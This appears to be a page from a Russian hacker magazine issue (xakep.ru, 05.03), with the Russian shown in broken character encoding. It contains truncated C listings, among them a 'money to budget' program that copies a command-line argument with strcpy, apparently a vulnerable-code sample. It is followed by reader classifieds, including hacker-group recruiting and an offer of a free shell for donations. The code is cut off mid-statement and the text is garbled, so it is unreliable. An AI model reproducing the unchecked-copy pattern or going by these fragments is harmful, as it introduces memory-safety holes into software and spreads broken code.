Ëèñòèíã #1<br />
#include <br />
#include <br />
int main(int argc, char **argv) {<br />
int rub, sum;<br />
rub = atoi(argv[1]);<br />
sum = 1000000000;<br />
printf(“Äîáàâëåíèå äåíåã â áþäæåò\n\n”);<br />
if (rub1)<br />
strcpy(one, argv[1]);<br />
free (one);<br />
free (two);<br />
return 0;<br />
}<br />
Ëèñòèíã #4<br />
#include <br />
int main(int argc, char **argv) {<br />
int i;<br />
if (argc>1) {<br />
for (i=1; i 111
Þíèòû<br />
Áîðäà<br />
Îáúÿâëåíèÿ ðåêëàìíîãî õàðàêòåðà<br />
íå ïóáëèêóþòñÿ!<br />
1. ìû íå áóäåì ðåêëàìèðîâàòü òâîþ ñòðàíè÷êó, ñåðâåð è ïðî÷åå<br />
2. âñå ïèñüìà ñ ìàòîì è ïðî÷åé øíÿãîé óäàëÿþòñÿ ñðàçó<br />
3. ìû ïîñòàðàåìñÿ ðàçìåùàòü ñîîáùåíèÿ â áëèæàéøèõ íîìåðàõ,<br />
íî íè÷åãî íå îáåùàåì :)<br />
Ìåññàäæ ìîæíî çàêèíóòü íà<br />
board@real.xakep.ru<br />
Ñäåëàþ ôîòîìîíòàæ ëþáîé ñëîæíîñòè, à òàê æå<br />
ëîãîòèï, áàíåð, buttons è òàê äàëåå íà çàêàç.<br />
Ñäåëàþ àíèìàöèþ âî Flash'å òàê æå ëþáîé<br />
ñëîæíîñòè. compuman@lsi.ru<br />
Å-Æ<br />
À-Á<br />
Ïðîãðàììèñò íà Ñ++ (ýòî íå åäèíñòâåííîå)<br />
èùåò ðàáîòó. Ïîäðîáíîñòè (CV, info è ò.ä.) -<br />
Email: progmaster@tut.by. èëè ICQ: 393698<br />
Âñå êòî õî÷åò/ìîæåò ïèñàòü îáçîðû èãð ïîä LINUX<br />
ìûëüòå admin@tuxgames.ru<br />
Å-Æ<br />
Ëþäè êòî èìååò âûäåëåííêó â èíåò (ò.å. ïîñòîÿííûé<br />
äîñòóï) è íå áóäåò ïðîòèâ óñòàíîâêè<br />
NNTP ñåðâåðà íà ñâîåì êîìïå, îòêëèêíèòåñü!<br />
Îáåùàþ ìíîãíîâåííîå çà÷èñëåíèå CGC<br />
(Computer Geek Community)! (Åñëè ïîñòóïàòü íà<br />
îáùåé îñíîâå, íóæíî ïðîéòè òåñòèðîâàíèå)<br />
KAFLAN [kaflan@mail.ru]<br />
Â-Ã<br />
Ä-Å<br />
Ñîçäàåòñÿ îíëàéí-ðïã. Íóæíû ïðîãðàììèñòû,<br />
õóäîæíèêè. Äà è âñå ïðîñòî æåëàþùèå. Ìûëüòå<br />
íà tyman@bk.ru<br />
Ñîçäàåòñÿ ãðóïïà BelorussianArmyHackers<br />
[BAH]. Çíàþùèå ëþäè, à òàêæå ïðîãðàììåðû<br />
ìûëüòå! rconx@mail.ru<br />
Ê-Ë<br />
Íàïèøó ÑÓÁÄ íà Delphi, FoxPro, ðàçðàáîòàþ<br />
ñàéò íå äîðîãî. Êîãî çàèíòåðåñîâàë - ïèøèòå.<br />
Òàêæå èùó ëþäåé, ðàáîòàþùèõ â òîì æå íàïðàâëåíèè.<br />
Þ-ß<br />
Ìîñêâè÷è!!! Ïðîäàì ñòàðûå íîìåðà Õàêåðà è<br />
åãî ñïåöâûïóñêîâ. kolich [kolich@list.ru]<br />
Òðóäîóñòðîèì õàêåðîâ.<br />
Íàø ÿùèê: STAWBERRY-1@YANDEX.RU<br />
Èùó ðàáîòó.Æåëàòåëüíî óäàë¸ííóþ èëè ñî ñâîáîäíûì<br />
ãðàôèêîì ðàáîòû.Ïîë ìóæñêîé.Ñòàæ<br />
ðàáîòû 1 ãîä. Ïèøó íà html,asp..ðèñóþ â photoshop7,Flash<br />
6 Îáëàäàþ îãðîìíûì ïîòåíöèàëîì<br />
è æåëàíèåì ðàáîòàòü. E-mail:selyanin@palana.ru<br />
Ìîãó ïðåäëîæèòü ñòàáèëüíóþ ðàáîòó ïî ñîçäàíèþ<br />
ïðåçåíòàöèîííûõ ðîëèêîâ.Îïëàòà äîñòîéíàÿ,<br />
30% ñðàçó, îñòàëüíîå ïî çàâåðøåíèè ðàáîòû.<br />
Ãëàâíîåòðåáîâàíèå ïðîôåññèîíàëèçì è<br />
÷åòêîå ñîáëþäåíèå ñðîêîâ. Åñëè èíòåðåñíî ïèøèòå.<br />
Snider2000@mail.ru<br />
Ïðèìó â äàð èëè çà ïëàòó æóðíàëû Õàêåð. Íóæäàþñü<br />
â íîìåðàõ ñ 1 ïî 25, 27,28,30,34. Ïðîæèâàþ<br />
â Åêàòåðèíáóðãå. Ìûëèòü ñþäà:<br />
Kuznetsov_Nikita@rambler.ru<br />
Ïèøó ñêðèïòû íà JavaScript ; Perl ; PHP ;<br />
ASP.NET è ASP . Íåêîòîðûå ñêðèïòû ìîãó íàïèñàòü<br />
áåñïëàòíî . Ìèõàèë . megacasino@narod.ru<br />
Èä¸ò ñîçäàíèå õàêåðñêîãî ìåãàïîðòàëà(ìíîãî<br />
ñòàòåé, ýêñïëîéòîâ, íîâîñòåé è ò.ä.) roolez.net,<br />
íî íàì íå õâàòàåò ñðåäñòâ. Ýñëè âàì íå æàëêî,<br />
ïðèøëèòå íà êîøåë¸ê WebMoney 855018863623<br />
ëþáóþ ñóììó(âñå êòî ïîìîã, ïîëó÷àò õàëÿâíûé<br />
øåëë íà ñåðâåðå ñ äîïîëíèòåëüíûìè õàêåðñêèìè<br />
àðõèâàìè!). Çàðàíåå ñïàñèáî! Ìûëüòå íà<br />
roolix@rambler.ru.<br />
È-Ê
VER 05.03 (53)